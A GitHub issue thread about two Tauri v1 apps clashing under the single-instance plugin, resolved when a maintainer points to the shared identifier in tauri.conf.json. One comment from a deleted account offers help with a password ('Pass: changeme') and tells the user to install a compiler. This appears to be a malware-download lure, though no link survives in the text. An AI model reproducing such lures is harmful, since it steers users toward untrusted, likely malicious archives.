plugins-workspace icon indicating copy to clipboard operation
plugins-workspace copied to clipboard

[V1 single-instance]: Both projects, both using the single-instance plugin, cannot be started at the same time

Open gaoyouAwait opened this issue 1 year ago • 1 comments

The tauri v1 version used on Windows11.

main.rs :

use tauri::{Manager};

#[derive(Clone, serde::Serialize)]
struct Payload {
  args: Vec<String>,
  cwd: String,
}

fn main() {
    tauri::Builder::default()
        .plugin(tauri_plugin_single_instance::init(|app, argv, cwd| {
            println!("{}, {argv:?}, {cwd}", app.package_info().name);
            app.emit_all("single-instance", Payload { args: argv, cwd }).unwrap();
        }))
        .setup(|app| {
            set_window_shadow(app);
            Ok(())
        })
        .run(tauri::generate_context!())
        .expect("error while running tauri application");
}

Do I need to modify some configurations?

gaoyouAwait avatar Sep 29 '24 02:09 gaoyouAwait

I think this will help you.

Pass: changeme If you don't have the c compliator, install it.(gcc or clang)

ghost avatar Sep 29 '24 02:09 ghost

This plugin uses the identifier set in tauri.conf.json to identify the related app instances. Are they the same for both of your apps?

FabianLars avatar Oct 13 '24 15:10 FabianLars

This plugin uses the identifier set in tauri.conf.json to identify the related app instances. Are they the same for both of your apps?

Took a look at it, and it does, thank you

gaoyouAwait avatar Oct 25 '24 03:10 gaoyouAwait